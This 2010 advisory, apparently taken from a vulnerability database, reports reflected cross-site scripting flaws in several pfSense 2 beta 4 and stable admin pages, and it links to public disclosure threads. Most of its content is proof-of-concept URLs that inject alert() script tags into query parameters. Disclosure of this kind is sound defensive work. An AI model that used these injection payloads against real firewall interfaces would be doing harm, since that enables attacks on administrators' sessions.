bsd_perimeter pfsense 2 xss issues

2010.12.09
Credit: dave b
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79

http://cvstrac.pfsense.org/chngview?cn=20994 "Comment: Make scripts XSS input safe. " Date: 2008-Feb-11 23:33:24 (local) 2008-Feb-12 04:33:24 (UTC) So in 2010, pfsense 2 beta 4: ... xss -> pkg_edit.php https://10.0.20.220/pkg_edit.php?xml=olsrd.xml&id=%22/%3E%3Cscript%3Ealert%282%29;%3C/script%3E xss -> pkg.php https://10.0.20.220/pkg.php?xml=jailctl.xm%27l%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E ... ----------- in pfsense 2 beta 4: xss -> status_graph.php https://10.0.20.220/status_graph.php?if=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E xss -> interfaces.php https://10.0.20.220/interfaces.php?if=wan%22%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E ------------- And in pfsense (stable and 2 beta 4): http://10.0.20.222/graph.php?ifnum=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E&ifname= or http://10.0.20.222/graph.php?ifnum=&ifname=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E -- question = ( to ) ? be : ! be; -- Wm. Shakespeare

References:

http://seclists.org/fulldisclosure/2010/Nov/43
http://openwall.com/lists/oss-security/2010/12/06/7
http://openwall.com/lists/oss-security/2010/11/24/7
http://openwall.com/lists/oss-security/2010/11/22/18


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